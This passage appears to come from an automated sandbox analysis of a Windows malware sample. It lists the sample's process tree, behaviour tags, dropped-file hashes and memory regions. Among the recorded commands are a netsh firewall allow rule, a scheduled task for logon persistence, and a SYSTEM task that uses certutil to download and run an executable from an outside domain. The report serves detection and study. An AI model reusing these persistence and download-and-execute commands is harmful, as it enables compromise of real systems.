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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20221125162529.log C:\Windows\Logs\CBS\CbsPersist_20221125162529.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA2562b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA5129daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA2562b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA5129daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA2562b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA5129daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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memory/316-61-0x0000000000000000-mapping.dmp
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memory/988-72-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
-
memory/988-65-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/988-66-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/988-59-0x0000000003550000-0x00000000038F5000-memory.dmpFilesize
3.6MB
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memory/988-62-0x0000000003550000-0x00000000038F5000-memory.dmpFilesize
3.6MB
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memory/1092-58-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/1092-55-0x0000000003480000-0x0000000003825000-memory.dmpFilesize
3.6MB
-
memory/1092-56-0x0000000003830000-0x0000000003F22000-memory.dmpFilesize
6.9MB
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memory/1092-57-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/1092-54-0x0000000003480000-0x0000000003825000-memory.dmpFilesize
3.6MB
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memory/1092-60-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/1320-80-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1320-84-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1436-63-0x0000000000000000-mapping.dmp
-
memory/1436-64-0x000007FEFB761000-0x000007FEFB763000-memory.dmpFilesize
8KB
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memory/2000-73-0x00000000034F0000-0x0000000003895000-memory.dmpFilesize
3.6MB
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memory/2000-71-0x00000000034F0000-0x0000000003895000-memory.dmpFilesize
3.6MB
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memory/2000-69-0x0000000000000000-mapping.dmp
-
memory/2000-75-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/2000-74-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB